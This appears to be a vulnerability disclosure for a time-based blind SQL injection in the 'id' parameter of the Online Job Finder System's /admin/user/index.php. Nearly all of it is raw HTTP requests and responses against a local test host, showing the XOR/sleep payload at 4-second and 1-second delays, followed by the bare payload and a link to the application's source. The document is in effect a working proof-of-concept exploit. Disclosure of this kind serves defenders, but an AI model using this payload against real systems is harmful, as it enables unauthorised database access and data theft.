

SQL injection vulnerability exists in id parameter of /admin/user/index.php file of Online Job Finder System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

```
Request
Pretty Raw Hex
1 GET /eris/admin/user/index.php?id=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z&view=edit
2 HTTP/1.1
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eris/admin/
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqusc4
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 Accept-Encoding: gzip,deflate,br
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
9 Host: 192.168.31.163
10 Connection: Keep-alive
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:28:36 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 16965
12
13 <script>
14 window.location='/eris/admin/index.php'
15 </script><!DOCTYPE html>
16 <html>
17 <head>
18 <meta charset="UTF-8">
19 <title>
20
21 </title>
22 <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
23 <!-- Bootstrap 3.3.5 -->
24 <link rel="stylesheet" href="/eris/bootstrap/css/bootstrap.min.css">
25 <!-- Font Awesome -->
26 <link rel="stylesheet" href="/eris/font-awesome/css/font-awesome.min.css">
27 </head>
28 <body>
29 <div class="container">
30 <div class="row">
31 <div class="col-md-12">
32 <div class="text-align: center;">
33 <h1>Online Job Finder</h1>
34 </div>
35 </div>
36 </div>
37 </div>
38 </body>
39 </html>
40
```

Sleep time is 1s:

```
Request
Pretty Raw Hex
1 GET /eris/admin/user/index.php?id=0'XOR(if(now())=sysdate())%2Csleep(1)%2C0))XOR'Z&view=edit
2 HTTP/1.1
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/eris/admin/
5 Cookie: PHPSESSID=feg0v5pu505fboaa92vrcqusc4
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 Accept-Encoding: gzip,deflate,br
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
9 Host: 192.168.31.163
10 Connection: Keep-alive
11

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Date: Mon, 18 Mar 2024 10:29:12 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a
4 X-Powered-By: PHP/7.3.4
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Keep-Alive: timeout=5, max=100
9 Connection: Keep-Alive
10 Content-Type: text/html; charset=UTF-8
11 Content-Length: 16965
12
13 <script>
14 window.location='/eris/admin/index.php'
15 </script><!DOCTYPE html>
16 <html>
17 <head>
18 <meta charset="UTF-8">
19 <title>
20
21 </title>
22 <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
23 <!-- Bootstrap 3.3.5 -->
24 <link rel="stylesheet" href="/eris/bootstrap/css/bootstrap.min.css">
25 <!-- Font Awesome -->
26 <link rel="stylesheet" href="/eris/font-awesome/css/font-awesome.min.css">
27 </head>
28 <body>
29 <div class="container">
30 <div class="row">
31 <div class="col-md-12">
32 <div class="text-align: center;">
33 <h1>Online Job Finder</h1>
34 </div>
35 </div>
36 </div>
37 </body>
38 </html>
39
```

Payload: id=0'XOR(if(now())=sysdate())%2Csleep(4)%2C0))XOR'Z

Source Download:

<https://www.campcodes.com/projects/php/online-job-finder-system/>